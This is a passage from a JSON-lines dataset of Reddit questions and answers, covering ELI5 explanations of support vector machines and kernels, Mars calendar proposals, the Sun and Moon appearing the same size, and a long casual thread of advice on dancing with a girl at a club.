the observed value of a unknown variable Y, in order to extrapolate the value of Y for non observed values of X.\n\nClassification algorithms try to assign an observed data to a class or set of similar data, in order to learn to which set will belong new unobserved data when found.\n\nNow, for the hard part (which is when I get lost) I'll add something to WeaponsGradeHumanity explanation. \n\nFirst think you draw in a piece of paper a [2D space where you have distributed some data](_URL_0_) and drawn a red line separating it.  This corresponds with WeaponGrade first paragraph. \n\nOk, now you try to do it again with another set of data, but then you found that[ you can't draw a line but a curve](_URL_1_). But, if you hold your paper and tilt it (thus adding a third dimension) you will come to see the curve as a straight line. Ok, this is something hard to imagine in real world as you get to see the red curve as a line when you are looking at the paper from a perpendicular angle.\n\nThis is what SVM an anothers classifications algorithms do. They add dimensions and rotate their \"point of view\" in order to see all the data as much clearly separated as they can.\n\nSo, what reddit think of this?", "Kernel functions are tools for carving up your dataset, each expressing different kinds of boundaries.\n\nyes?", "Let's start with a simple explanation of the goal of an SVM, and a simple explanation of each of those terms.\n\nImagine you plot a bunch of points on a graph. Some of the point's are labeled X and some are labeled O. An SVM wants to draw a line to separate the X's and O's. Then when you get a new point on the plot, you can see which side of the line it's on and decide if it should be an X or an O. The line that separates them can be straight or curvy. If it's curvy, then you need to use a kernel.\n\nNow lets go over those terms:\n\nspace: this refers to the group of axes (plural of axis) you are using. So for example, if you have just X,Y axes for your plot, this is a 2-dimensional space. You can be in a 3-dimensional space if you have X,Y,Z axes. \n\nKernel: This is how you map your data into higher dimensional spaces. Why do we want to do this? Remember the straight and curvy lines I mentioned before. If our data can't be separated by a straight line we might need to use a curvy line. Here's the secret: a straight line in a higher dimensional space can be a curvy line when projected onto a lower dimensional space. So what we are really doing is using the kernel to put our data into a high dimensional space, then finding a hyperplane (\"straight line\". not exactly, but I'll explain it next) to separate the data in that high dimensional space. This straight line looks like a curvy line when we bring it down to the lower dimensional space that our data lives in. EXAMPLE TIME! Let's suppose our labeled data (\"X and O's\") live in a two dimensional space (think X-axis and Y-axis plot). We need to separate the data with a curvy line, but since the SVM can only use straight lines, we need to use a kernel to bring the data into a higher dimensional space and separate it with a straight line, which looks like a curvy line in the low dimensional space.\n\nhyperplane: this is how we generalize the concept of a straight line in two dimensional space, because we don't always use two dimensional spaces. A hyperplane just means something straight that splits the space into two parts. Imagine our X,Y space again. A straight line would split the space into two parts, so it is a hyperplane! Now imagine X,Y,Z space (3-dimensional). A flat piece of paper (a plane) would split the space into two parts, so it is a hyperplane! Now you can imagine even higher dimensional spaces, there is something that will split the space into two parts. That thing is a hyperplane!\n\n\nTo summarize: an SVM uses hyperplanes (straight things) to separate our two differently labeled points (X's and O's). Sometimes our points can't be separated by straight things, so we need to map them to a higher dimensional space (using kernels!) where they can be split by straight things (hyperplanes!). This looks like a curvy line on our original space, even though it is really a straight thing in a much higher dimensional space!\n\nthe end. \n\nEDIT: Here is a very good 45 second video that shows how a linear hyperplane in a higher dimensional space can be curvy in a lower dimensional space. _URL_0_", "First, we're **classifying** which is easier than regression. Instead of trying to predict the actual value of some dependent variable we just want to group it into one of two groups with as few errors as possible. We're building a classification rule, so we get to see some training data, collections of objects and their respective labels. We also assume that these objects can be placed onto a sheet of paper so that like objects are nearby one another.\n\n---\n\n**Linear classifiers** classify by assuming that observations from the same group are similar and thus are nearby one another, near enough that we can basically draw a straight line and separate the observations of one label from the other. SVM is a linear classifier, so at the end of the day it's just a fancy way of finding a good line.\n\n*So what does a good line look like?* Well, we're trying to draw this line based on the data we've seen, so it should be a line that does a pretty good job of separating the labels on that data itself. But we also want to do well on data we haven't seen yet, so we should pick the line which doesn't just separate the current data pretty well but seems likely to separate future data as well.\n\nThis is the complexity of the SVM. Finding the line which does both of those things (and balancing a tradeoff between them) is pretty tough but can still be done relatively quickly.\n\n---\n\nYou've basically understood the SVM now, but there's one last extremely clever piece. What do we do if we look at the data and it just doesn't seem like *any* straight line will separate it well enough? SVM allows you to twist the paper (like it were a piece of rubber) your data live upon before trying to draw that straight line. For instance, if it looks like the best \"separating path\" is kind of an S-shape, you could untwist that S before you draw your straight line. This is the **kernel**, it's a description of how to twist the paper.\n\n---\n\nAll together, the complexity of SVM comes from the fact that those twists are very complex and everything happens not in 2 dimensions like that sheet of paper but instead in hundreds or thousands of dimensions. Getting a picture of what things look like in hundreds or thousands of dimensions is very difficult. Your intuition doesn't quite hold. But the intuition built by just looking at 2 dimensions, at a sheet of paper, forms the core understanding.", "**ELI5 version**- Think of drawing some points on a piece of paper, [like this picture](_URL_0_). Ignore the other lines for now. Some of the points are filled circles, and some are unfilled circles. The big-picture question here is - suppose you draw a new point on the paper (it is either a filled circle or an unfilled circle). You know what kind of circle it is but you don't tell me. I have to find out what kind of circle it is. This problem is called classification - given a new point, predict if it is a filled circle or unfilled circle.\n\nHere is the method I'll choose to do this- I'll assume that when you draw points, filled circles are usually close to each other on the paper and the same for unfilled circles, but filled and unfilled circles are usually far apart from each other. So I will try to draw a line between the two groups of points, such that the filled circles are to one side (say left) of the line and unfilled circles are to the other side (say right). The blue line in the picture is such a line, while the green line is one that doesn't fit this condition. Now, if you give me a new point and it lies to the left of the line, i'll say it is a filled circle and if it is to the right, it is a unfilled circle.\n\nBut there are many such lines that will satisfy my condition. If I just rotate the blue line a little to the right, it still works. The red line is another line that works. So which of them is the best line? I'm going to add another condition to try and designate a particular line as best. I'm going to say that the best line will be that line which is between the two groups of points, but is as far away from both groups of points as possible. The blue line, for example, runs quite close to one of the filled circles and an unfilled circle. The red line, on the other hand, is quite far away from both sets of points. In fact, it is the farthest you can be from the two groups while being between the two groups. It turns out, you can find such a line with some effort. This is what the SVM tries to do - if you have two groups of points on a paper, it tries to find a line which is between the two groups, but is as far away from the two groups as possible.\n\n**Difference from multiple linear regression:** In classification with SVM, all you want to predict for a new point is whether it is a filled circle or an unfilled one. In regression, you usually want to predict a number for each new point.\n\n**Hyperplanes** - In the paper example, the line divides the paper into two parts - the left side and the right side. Since a line is infinite, this division happens even if the paper is infinite. To break away from the ELI5 version, a line divides the xy plane in two parts. Similarly, the xy-plane (or any 2-d plane) divides 3-d space into two parts (above the xy-plane or below the xy-plane). In general, a hyperplane is a special (n-1) dimensional construction in n-dimensional space that divides the n-dimensional space into two parts. The special construction is of the form a0+a1\\*x1+...an\\*xn=0,\nwhere a0,a1,...,an are constants and x1,...,xn represent the n-dimensions of your space.\n\n**Kernel (with bonus Support Vector definition)** - In the picture earlier, we saw the red line was what we called the best line. You can show that to describe where that line is, all you need is the points that are closest to the line, ie. you need the filled point closest to the line, and the unfilled point closest to the line (Non-eli5 note- there can be more than one filled points closest to the line). You call these points the Support Vectors (hence the name) and then you can ignore the rest of the points on your paper. In fact, you can even ignore the line itself. Given a new point, all you need to do is find out if it is closer to the filled support vectors than the unfilled support vectors. If it is, predict it to be a filled circle, otherwise predict it to be a unfilled circle. (Non-eli5 note- The closeness is computed as a dot-product between the new point and the SVs). One way of computing closeness is to consider actual distance (in cm/m). But you can define many other ways of closeness. These are called kernels. (Non-eli5 note- K(a,b) gives the similarity between a and b. This can be thought of a dot-product in an often-imaginary higher-dimensional space). ", "Here goes. A nation under civil war between its two major regions, O and X, has just signed a bloody piece treaty. Of course, now they want to draw a new border between O and X.\n\nThere are a few complications though. Before the war, some citizens had already ventured into the opposing region. Some did so in search of a new start, a lot did so for wealth, and very few did just for love. As expected, they did not wish to return to their birthplaces after the war, but they still spoke their original language.\n\nThe civil war costed both sides a great number of lives, so they wanted to make sure that the new piece treaty would be as robust as possible. To make it so, the new border would need to be flexible enough, possibly with lot of twists and turns, such that all O-ish speakers will fall on the O side of the new border and X-ish would fall on the X side of the border. Undoubtedly, this snake-like border would be a vast construction, very complicated to design with no guarantee that no new citizen would choose to relocate to the wrong side of the border in the future.\n\nMilitary strategists, landscape planners, accountants, and ministers from both O and X all gathered to think of the **best linear border** that would split their subjects with as little conflict potential as possible.\n\nIt turned out that the two populations were so convoluted, that any such border would be doomed to fail and thus re-ignite the civil war between X and O.\n\nA statistician, with an intense liking for counting stuff, came forth and suggested the newly drawn border to not be based on the geographical positions of the citizens, but instead inter-citizen similarities. That is, a set of similarities between each possible X-O-pair of citizens. The similarities were based on many many quantities that all citizens valued in their lives **with respect to each of the opposing citizens**, e.g. how well they did business with each one of them, or similarity in the ways of thinking. The planners were so good in collecting this very rich set of information from each citizen, that they decided to substitute the geographical location of each citizen with his similarity scores to all other citizens.\n\nThis way, the planners could handle the peace-preservation potential of a candidate border by simply **keeping track of the X-O-pairs with the smallest similarities**. These pairs were called **support-vectors** (*ahem*, citizens) and were put on the highest priority to be on the different sides on the border so the border would have to come between them.\n\nMaybe I tried way too hard to make it ELI5-worthy.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/File:Svm_separating_hyperplanes.png", "http://imgur.com/INWxd"], [], ["http://www.youtube.com/watch?v=3liCbRZPrZA"], [], ["http://en.wikipedia.org/wiki/File:Svm_separating_hyperplanes.png"], []]}
{"q_id": "1uvc57", "title": "What will the calendars for Mars colonists be like?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1uvc57/what_will_the_calendars_for_mars_colonists_be_like/", "answers": {"a_id": ["cem7tv7", "cem8ih1", "cemd995", "cemf4pa"], "score": [5, 8, 2, 8], "text": ["Could you please clarify your question. Are you asking us to speculate on whether colonists would maintain an Earth-based calendar or switch to a Mars-based calendar for convenience? Are you asking what the Mars-based calendar would look like in terms of seasons? Or are you asking whether it would be biologically possible for humans to adapt to the length of the Mars day?", "A Mars year is 698.98 days or 1.88 Earth years.\n\n_URL_0_\n\nI'd imagine that they will have their own Mars calendar and then a way to reference comparable time on earth.\n\nA baby born on mars would need to have an earth equivalent age as when they are 1 on Mars they are nearly 2 on earth.", "Technically this isn't a scientific question, but a societal or speculative one.\n\nThat said, there are several serious proposals for Martian calendars with 24 months, the [Darian Calendar](_URL_1_) and its variants.  Similar to Earth's calendar, they are not exactly in line with the true orbital time and need occasional leap days.\n\nIf we look at science fiction as data towards how human society would react to this proposed calendar, it has mostly followed suit with 24 month calendars, but dropped the \"Solis, Lunae, etc\" day names in favor of the familiar Sunday, Monday, etc. and often simplified the month naming as well.\n\nI don't see any examples of this, but a configuration that would also work was to have 12 months still but make each month 55-56 days long.\n\nThe problem of what to do with the extra 39 minutes and 35 seconds in each day is actually more widely explored than how to arrange a Mars calendar.  For more information, there is a [wikipedia page](_URL_0_).", "There are a couple of issues in creating a Martian timekeeping system. First, the Martian day is not the same as Earth. It's about 40 minutes longer. It would be most natural for colonists to simply adopt the Martian day, but this quickly puts the colonists out of synch with mission control on Earth. Every three days, Mars falls 2 hours behind Earth. Mars mission operators usually synchronize their schedules to Mars time during their prime mission, and those who try this compare it to [perpetual jet lag]( _URL_0_) . (This is mostly an effect of Earth's day/night cycle and how everyone else outside of JPL operates. Martian colonists would adapt to the Mars day a lot more easily.)\n\nIf Martian colonists set the sol as 24 Martian hours, then there is a fundemental problem - now you have Martian seconds, which are longer than standard Earth seconds. Since this is a fundemental measure, it completely changes other measurements. So Martian school students would need to learn a conversion factor between Earth and Mars seconds to use the metric system. There's a tradeoff here. You either simplify timekeeping or standardize measurements with Earth.\n\nWe'll assume the colonists simplify their timekeeping. This leaves a year of 668.5991 sols. To make a calendar, you would need to find a way to handle that .5991 days over the long term. Earth's year is 365.25 days, which makes it easy for us to handle - we add a leap day every 4 years to bring our calendar back into synch with Earth's orbital period. \n\nIf we round that fraction of a day up to .6 sols, we can get away with adding 3 days every 5 years. You could handle this with a festival period every 5 years. This arrangement would *gain* about 1 day every thousand years, so you would need an anti-leap day to make up for it.\n\nThe rest of the calendar becomes a matter of dividing up the 668 days into months. You can divide this equally into four parts. However, Mars's orbit is more elliptical than that of Earth, so the seasons wouldn't divide as equally. Summer, when Mars is closest, is 142 sols, autumn is 154 sols, winter is 194 sols, and spring is 178 sols. So if you wanted to have nice, equal three-month seasons like on Earth, you would need to divide those periods into months.\n\nLet's try our hand at this. \n\n142 divided by 3 gives you two 47-sol months and a 48-sol month.\n\n154 divided by three gives you two 51-sol months and a 52-sol month.\n\n193 divided by three gives you two 64-sol months and a 65-sol month.\n\n158 divided by three gives you two 59-sol months and a 60-sol month.\n\nSo one way to construct a calendar would be\n\n* January 1-47\n* February 1-47\n* March 1-51\n* April 1-51\n* May 1-52\n* June 1-64\n* July 1-65\n* August 1-64\n* September 1-60\n* October 1-59\n* November 1-59\n* December 1-48\n\nSummer would begin in December, like it does in Earth's southern hemisphere, and Earth reaches perihelion a couple weeks later. As it happens, Mars's southern hemisphere is also at perihelion in summer, so this would provide some nice continuity with Earth.\n\nI'm sure someone can work out some better months, but I'm out of time and needed to wrap this post up."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.universetoday.com/14718/how-long-is-a-year-on-mars/"], ["http://en.wikipedia.org/wiki/Timekeeping_on_Mars", "http://en.wikipedia.org/wiki/Darian_calendar"], ["http://m.space.com/5668-living-mars-time-scientists-suffer-perpetual-jet-lag.html"]]}
{"q_id": "6oj2eh", "title": "The sun is roughly 400x bigger than the moon but also 400x further away from earth, making them look exactly the same size. Is that rare in a solar system?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6oj2eh/the_sun_is_roughly_400x_bigger_than_the_moon_but/", "answers": {"a_id": ["dki021h", "dkicsli", "dkj5qdo"], "score": [25, 30, 2], "text": ["We actually don't know because while we have detected many exoplanets, we have not confidently detected any exomoons around those planets. However, the hunt for these is still on. When we can build up some statistics on these systems, then we should be able to understand just how unique or common our situation is.", "It's important to remember that this is a temporary thing. The Moon is gradually moving further away from Earth, so this won't be true for very much longer (on a geological time scale!). The Moon will soon appear to be smaller than the Sun. It used to appear bigger.\n\nTo answer your question very specifically: no it is probably not unusual for a satellite to at some point in its life span appear to be the same size as the star its planet orbits.", "I ran a quick and dirty script on the planets and moons, and unlesss I made a mistake, of the 181 moons in our solar system, only 3 appear less than 15% smaller or larger than the Sun, viewed from the surface of the planet they orbit.\n\nThose three are our own Moon, and [Pandora\n](_URL_0_) and [Prometheus](_URL_1_) around Saturn. However, only the Moon is round enough to make for a satisfying eclipse. So it appears to be quite a rarity."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Pandora_\\(moon\\)", "https://en.wikipedia.org/wiki/Prometheus_(moon\\)"]]}
{"q_id": "ykiko", "title": "how to dance with a girl at a club", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/ykiko/eli5_how_to_dance_with_a_girl_at_a_club/", "answers": {"a_id": ["c5weasn", "c5wee6e", "c5weg1c", "c5weg3q", "c5werwt", "c5wetip", "c5wexen", "c5wezoo", "c5wf2du", "c5wf8cx", "c5wfebj", "c5wfenk", "c5wfhce", "c5wfi07", "c5wfkfi", "c5wfocw", "c5wfoyu", "c5wfyf6", "c5wg2mf", "c5wgh9s", "c5wgkar", "c5wgq55", "c5wguab", "c5wgwq0", "c5wh0rw", "c5wh74a", "c5whcoq", "c5whgj9", "c5whm3m", "c5whmn0", "c5whsub", "c5whyo2", "c5wia9a", "c5wivie", "c5wiz9z", "c5wj2ck", "c5wjf42", "c5wjnrt", "c5wl3av", "c5wl91h", "c5wltho", "c5wm45v", "c5wml7l", "c5wmnm6", "c5wqcvh", "c5wrtkx", "c5ws3sw"], "score": [47, 267, 1528, 9, 2, 79, 47, 167, 11, 23, 36, 3, 64, 465, 2, 2, 18, 17, 2, 4, 11, 2, 15, 2, 27, 3, 2, 4, 2, 2, 2, 2, 2, 2, 6, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2], "text": ["Learn how to douggie. Seriously. Most versatile dance move.", "You probably want to ask over at /r/explainlikeimwhite ;]", "Are you ready for the secret? The tried and true method that works for me 100%?\n\nhere it is.\n\n**Dont try to dance with girls. Just dance.** Go out on the dance floor and just have fun. Dance to whatever song is on wether you like it or not. Dance by yourself, and more importantly have fun while you do it. Seriously. Girls are attracted to guys with confidence, and that means being able to have fun on your own without a girl. \n\nEven if your a terrible dancer, girls will see you are out there having more fun then them or any other guy. Most dudes just want to grind on girls and cop a feel, and girls are on to this. Thats why they'd rather dance with their girl friends. \n\nGirls will see you dancing, think you are fun and a great dancer (even if you arent) just because you are putting yourself out there. They'll come to you dance.\n\nNow the trick is, once they do, not to act like every other sleazeball in the club. Just keep doing you, keep having fun, keep dancing. Don't try to grind or hump or touch. They will dance on YOU as opposed to you on THEM.\n\nI'm not trying to brag, but I have pretty decent luck with women and this has never failed me.\n", "Don't step on her, move to the beat as best as you can and always remember: *Less is more.*", "I'll tell you what NOT to do. Do NOT make a scene by trying to \"break it down\" when you have never done it before. At least not in front of the girl you're supposedly dancing with.", "1. Be attractive.\n\n2. Don't be unattractive.\n\n3. Dance.\n\n4. ?????\n\n5. Profit.", "Explain like you're five? \n\nWell, you begin with putting your left hand forwards into a circle arrangement with your friends. Remove it and repeat it twice before shaking it. Do the hokey cokey and turn around 360 degrees. Repeat for your right arm and each leg.", "It's kinda like doing it, but with your clothes on, and in public.\n\nEdit: sidenote: I go to a Baptist college, and have no idea how to dance.", "Be good looking. All this shit about confidence is nothing if you aren't good looking.", "I know it's mostly jokingly, but: what's with the \"just don't start grinding lol (as if)\"? Is this an American thing? Is this what constitutes \"dancing\" across the Atlantic? Does reality TV *not* bullshit me?", "look at this  >  [how to dance in the club](_URL_0_) :)", "[THIS is how!](_URL_0_)\n\n/tread ", "A few years ago, I wasn't a fan of dancing in a club at all. It felt too awkward, I didn't enjoy it. Most of my nights were a combination of standing around with an occasional 'light booty shake', drinking some beers and waiting for an appropriate time to leave the club, so I could go home and be socially awkward all by myself.\n\nSomewhere between then and now, I let go though and nowadays I have a lot of fun on the dancefloor. I'm not a great dancer, but the truth is: nobody cares how you dance, as long as you don't annoy them too much.\n\nNowadays, I really just do whatever I like, if I wanna douggie, I'll douggie. If I wanna try a new move, I'll fucking try a new move. If I want to do an interpretative dance on the newest Bruno Mars single, just watch me. I've never had problems with anybody else, I usually meet some new people and what's most important for me: I really enjoy myself on those nights.\n\nTLDR: Have fun while you dance, cause by having fun, the girls will think you're fun too.\n\nEdit: Also, when you get into ballroom dancing situations and you don't know how to waltz or whatever, just ask some girl to teach you. It's a great conversation starter, things will get hilarious and hey, you might even learn how to waltz.", "[This](_URL_0_) taught me everything I know", "The answer is right here _URL_0_", "google 'stampa med Leroy'\n", "Have you seen 'Hitch' and how the fat dude dances all funny and it makes the girl laugh? Know a bunch of corny dance moves? Like one of the posters said, if you go out with a group (preferably with girls) and you're not afraid to move and do silly things on the dance floor, girls will notice.\n\nWhen you find you have caught someone's eye, try to make them laugh with one of the funny moves and before you know it, you can dance dirty with her but don't forget that you drew them in by being funny and confident on the dance floor, not creepy, leg humpy.\n\ndid not make sense, did not read: do cheesy dance moves from the 90's in a fun manner. It shows you're confident and funny.", "How about a serious answer. [This guy breaks it down step by step](_URL_0_) in his video.", "Don't bother, strike up a conversation with them while they wait at the bar instead.", "Don't dance. Stand at the bar and act like you own it.", "From my experience, lots of guys think it's ok to just come up behind a girl and just start grinding his junk on her ass. THIS IS NOT OK. PLEASE STOP DOING THIS. IT'S FUCKING GROSS. ", "Eye contact and smile.", "1. not give a fuck\n\n2. [be this guy](_URL_0_)", "The times I get laid (not as often as I'd like) is when I'm out there just genuinely having fun without worrying about girls. When I'm out there dancing for fun, it works even better. Way better. It helps that I can dance and look pretty good too. ", "You put your hand upon her hip and when she dips, you dip, we dip.", "Personally, I find dancing really easy when I'm dancing to music I dig, and really difficult when I'm tyring to dance to music I don't like. That was the major revelation in terms of enjoying dancing for me. \n\nYou put me in a club playing the same tired Rihanna, Pitbull, and Lady Gaga songs where every guy is out trying to get laid, and dancing becomes very awkward and contrived because I just can't stand that music. \n\nYou put me in a club where I love the music, and it stops mattering how I look while I dance or who sees me dancing. Your feet and arms seem to figure out on their own what to do, and you can unplug that paranoid \"am I doing this right\" part of your brain, and just dance away.\n\nI think it's far easier to find music that you will have fun dancing to rather than faking having fun dancing to music you don't like. If you're in a metropolitan area, there are clubs with tons and tons of different music being played, and they will all have women in them. And in the clubs where you'll really enjoy dancing, you won't even really care if there are women there or not. You'll leave at the end of the night and think, \"well, I didn't ge tlaid tonight, but holy crap did I have a bucketload of fun.\"", "Explain like you're five... Hmm....\n\nKid, you don't enter those places, bad people in there.", "This is what works for me and the majority of non sleazy men,\n\nGo out with the mentality that you're going to have fun, NOT that you're 'going on the pull'. Have a drink (not too much), loosen up and bring out the moves. Most girls will love it, even if you do goofy dancing, you're having fun and that's all that matters!\n\nThe biggest step if making eye contact with a girl. Once you make eye contact (don't stare!), shoot her a smile. If she reciprocates, start dancing and making decent eye contact. Keep having fun and before you know it, you'll be dancing next to each other. If she's gone this far, she'll most likely want to dance with you. Offer your hand to her and ask for a dance or show off your best move.\n\nIf they want to grind on you, they'll do it in their own time. Don't force them round and start dry humping them, most girls don't like being forced into it, unless they're from the ghetto but i don't have too much experience with girls from there, sorry.\n\nGood luck!", "You're 5, why are you at the club?", "[Mr.Bean - Dancing at a nightclub](_URL_0_).", "I'm a girl and this is a [video](_URL_0_) I reference to every time I talk to someone about guys dancing.\n\nWhat Will Smith is trying to teach The King of Queens is all a guy needs to know when dancing to a girl at a club. \n\n\nFollow her lead. If she turns around and presses against you, you can't keep on doing that. \nJust put one hand over her waist and follow her movements.\nBoth hands on her hips is a little pretentious but that's me.\n\nIf you want her to get close, just take her hand, turn her around and press her against you then do the thing described above.\n\n\nI bet this didn't help one bit. \n\nEDIT: Formatting.", "[Dance exactly like this](_URL_0_)", "I don't understand anything that's happening in this thread.\n\nCall me an old fart but I'd rather have drinks at my house with friends over a poker game or watch doctor who with the wife on my couch.", "The only difference between dancing and not-dancing is whether or not you think you're dancing.", "These days? Stand there and let the girl rub her ass against your penis while you listen to the song call women bitches and hoes.", "5 year olds know how to dance just fine.", "Former awkward white guy dancer reporting in -- lived with a black guy (best friend) for a year in college, he taught me the ropes. You'd be surprised how easy it is to dance with girls or even just on your own.\n\nThe most basic thing you can and should do is called the two step. Just wait until a song you like comes on, then go to the dance floor and start off taking a step to the left on the first beat, right on the second beat. If you are unsure of the right tempo, look at the other people dancing on the dances floor. Combine this with a little arm swaying and your already dancing better than 80% of the people there. Work your head a bit too -- maybe sway it this way or that way. Grab on your own shirt and pull it out a little bit, then in one fluid motion move your body one direction and your shirt in the other direction. It's mindlessly easy but makes you look like a boss.\n\nAfter that, it just takes a bit of getting used to letting go and letting it all hang out. Don't think about what other people are thinking while watching you -- you'll get nervous, stilted, and inevitably look like a tool. However, if you can get over this mental mindblock, you'll find that girls will start looking in your direction. Why? **Because the guy they are dancing with right now can't dance, and you can.** They went out to the club not to have a guy hanging all over their backside awkwardly flailing about, but to have fun. Right then and there, you are the most fun guy around, and they are and will be naturally drawn to you. No icebreaker even required. Combine that with a short hey how's it going and a let me get you a drink, what do you like, and you've got yourself a girl for the night and probably more.\n\nAgain, I can't emphasize this enough -- **Just let go and say whatever**. Watch other people dancing too -- I have picked up a ton of awesome moves from watching Michael Jackson, Chris Brown, Usher, Cali Swag District, and other people in the club. It's great because you just instinctively start to add it to your own awesome and unique dancing style.\n\nIf anyone cared enough, I can go on and describe a few more basic dancing concepts that will take you even further along your journey. Best of luck, OP.", "You're 5 years old. Why would you want to dance with a girl at a club? You wanna get cooties son?", "I like to think I'm a good dancer and can work a club pretty damn well, and I totally agree with dancing by yourself and just having the best time possible. \n\nI, however, don't fully agree with dancing to every song, even if you hate it. I never look, or feel more uncomfortable or out of place than when I'm dancing to a song I absolutely hate. I can usually just feel the music and be free with it, but when a song I hate comes on, I instantly turn into SAP. Is there an solution to this problem?\n\nYes. Don't dance, just fuck around. That's when you use being awkward to your advantage and do the lawnmower, or the sprinkler. Or the Charlie Brown. You think the song is stupid? Dance stupidly. Mock the shit out of it and have fun mocking the shit out of it. \n\nDid an awesome song come on right after? Go back to just enjoying it however you feel is right. Nod your head or wave your hands or do the hussle - whatever makes you happy. \n\nYou have no idea how many nights this has gotten me through and how many girls had a great time with me as a result - friends and randoms. \n\nTrust me, the first time you get approached by a girl while doing a compilation of the worst dance moves you know and she starts doing something weird too, you'll understand how and why it works. \n\n**TL;DR Just have fun and do you and girls will want to have fun and do you too.** ", "I can't dance for shit. But as long as you look like you're having a laugh and couldn't care less what anyone else thinks, you're onto a winning situation.\n\nOnce, myself and a couple of pals started doing lunges to the beat. Within about 30 seconds, pretty much everyone in the club joined in. It was beautiful, and everyone looked ridiculous.", "**short and sweet - move to the beat**", "So [this](_URL_0_) has already been posted but a serious word here:\n\nObviously this dude is really thoroughly good. That being said, you can pick up a lot from this. Watch how he moves his feet, especially nearer the beginning. You don't need to do that, but that's the idea, use your ankles, move your feet, don't just fucking stand there and gyrate your upper body. Get comfortable doing a bit of that and you're already miles beyond most people at your average club.\n\nOther stuff you can take from that video: Hand/arm movements! They're kinda corny, that's kinda the idea. Do silly disco things every now and then, try and make it look like part of what you're doing. It's fun, funny, and makes you look yet more confident.\n\nJust stay on the beat and try to make your body move in convincingly rhythmic (and preferably graceful) ways. There are plenty of modern, clubby, popular dance moves (shuffling, two-stepping, jacking, etc.etc.) that you can learn to try to make everything come together, and you can find videos on *all* of them on youtube.\n\nAlso the golden rule is fuck what people think, *especially* on the dance floor, do what you want to do and do it with swagger. Gotta have confidence.\n\nGood luck and enjoy! Dancing is one of my favourite things in this world.", "everyone says that dancing \"comes from the soul\" and you just \"move to the beat\" yet i got told by people that i need to \"learn how to dance\"\n\nif dancing is supposed to be just moving naturally to the beat then why do people talk about \"learning to dance?\"", "my approach:  just ask.  if no, ask someone else.  if yes, dance.", "All this, \"just be yourself\" is really nice, but if you're asking, you're probably not comfortable with that answer.  Which means it isn't helping.\n\nFirst things first, some of this stuff needs to be practiced.  You can learn to dance by dancing, but there are some things that make dancing a little easier.  Do the following things at home, in a spot where no one is watching and don't look in the mirror.  The point is to get comfortable moving - not psych yourself out by thinking you look stupid.  (Protip: MOST people look stupid to themselves when they dance.)  Also, you need to be comfortable dancing by yourself.  There is NOTHING wrong with dancing by yourself in a club - plus, a girl is MUCH more likely to dance with you if you're already dancing.  \n\nSo, learn how to find the beat in a song.  Listen to a song and you should be able to clap along to the beat.  Now, you don't have to have perfect rhythm and you can get it wrong, but you have to be able to clap, or snap, or nod along.  Do this when you're driving or sitting around or whenever.  Practice really does make this easier.  If you're really struggling, have someone else do it with you - the two people will help keep each other on beat - or close enough.  Do this often.  Like, all the time.\n\nNext, learn how to move your body.  Start by nodding to the beat.  Just simple head up and down, or back and forth, or side to side nodding.  Once you're nodding with confidence, tap a foot at the same time.  In my opinion, if you're moving multiple parts of your body in synch with the music, you're dancing.  So, well done.\n\nBut, that's probably less than what you're going for.  So, think about the other parts of your body that can move while you dance - your shoulders and arms and your hips are the easiest.  Learn to move them, just a little bit.  Little sways, little side to side motions, little steps.  While you're doing those little movements, keep your feet moving.  Just tiny steps - pick your feet up or slide them an inch at a time.  That'll keep your whole body in motion - while you focus on the individual parts.  ALWAYS keeping the beat in mind.\n\nSo, now you're in your room awkwardly moving your hands, then holding them still while you move your hips, then freezing (except your always moving feet) while you move your shoulders.  Do this for 5 nights - for 10 minutes - and you'll find the movements seem MUCH less foreign and that you can move more than one thing at a time - or transition from moving one thing to another.\n\nWhen you get to that point - you're dancing.\n\nAnd here's my real advice.  People here are right that you really need to enjoy it or you won't be any good.  But, you don't need to be good to enjoy it.\n\nI think the best place to learn to dance in front of people - which is really the crux of the whole thing - is to do it in a place that is not intimidating with people you don't care to impress.  Weddings are a great place for this - since you're usually friends or family with most everyone there and it's likely you'll be far from the center of attention.  \n\nFor some reason outside is another great place - \"music in the park\" kind of events put on by cities or festivals.  For one, the people that are there are almost certainly from a wide range of socio-economic backgrounds and usually drunk or high or both.  This means being average is almost certainly the case and there is less pressure that way.\n\nAnother place to learn to get comfortable dancing is a gay club.  For me it was because I felt very little pressure to be 'cool' as the odds of me picking someone up was very low.  Also, the vibe *tends* to be a lot more friendly.  Plus, you're going to feel silly sometimes when you are getting used to dancing.  And we ALL know gay people are naturally silly.\n\nAnd when you're in these semi-comfortable environments, watch other people dance and when you see them do something you like **blatantly** copy it.  It's how they learned it, so do what they did.  Find half a dozen \"moves\" and you'll be your own dancer.\n\nMy last advice?  Have a kid.  NO ONE cares what daddy looks like when he's dancing with his kid.  But, that has some drawbacks, so consider that one carefully.\n\nFinally.  You can move your body well enough to the beat and you don't mind doing it in front of people.  So, the girl part...  If you're like me, you'd rather just go home than risk being rejected by asking a girl to dance.  So, instead, dance by yourself - or with some friends.  Find a girl you want to dance with and make eye contact WHILE YOU'RE DANCING.  (This is easier if she's dancing too, but it isn't necessary.)  If she makes eye contact back, smile politely - not desperately or like a creep.  (This can also be practiced in the privacy of your home.)  If she smiles back - you're in a good place.  If you're less than bold, do this a time or two more to build up confidence.  Then, once you're ready let her know you want to dance with her.  You don't have to say anything most of the time, just use body language to let her know - signal her to \"come to you\" (politely) with your head or eyes or hand.  DON'T BE CREEPY.\n\nNow that you've found a girl to dance with, just dance with her.  Don't grind all over her.  Don't put your hands all over her.  Don't smell her neck or anything weird.  Just keep doing what you were doing before, but with her.  It can help to sort of mimic her movements - and she'll probably do the same with you.  \n\nMost guys I know didn't just walk onto the dance floor their first time in a club and start dancing and pulling strange.  It really takes practice.  And remember, MOST people think they look stupid when they see themselves dance.  So, a lot of people think other people are watching them thinking the same thing.  If I'm in a club, I'm not watching other dudes dance and thinking what a tool he must be.  Odds are, girls aren't either.  Plus, girls often actually LIKE dancing and will be attracted to someone who's doing it.\n\n**TL;DR: Dancing takes practice, then some guts, but it's totally worth it.  Other people care very little about what 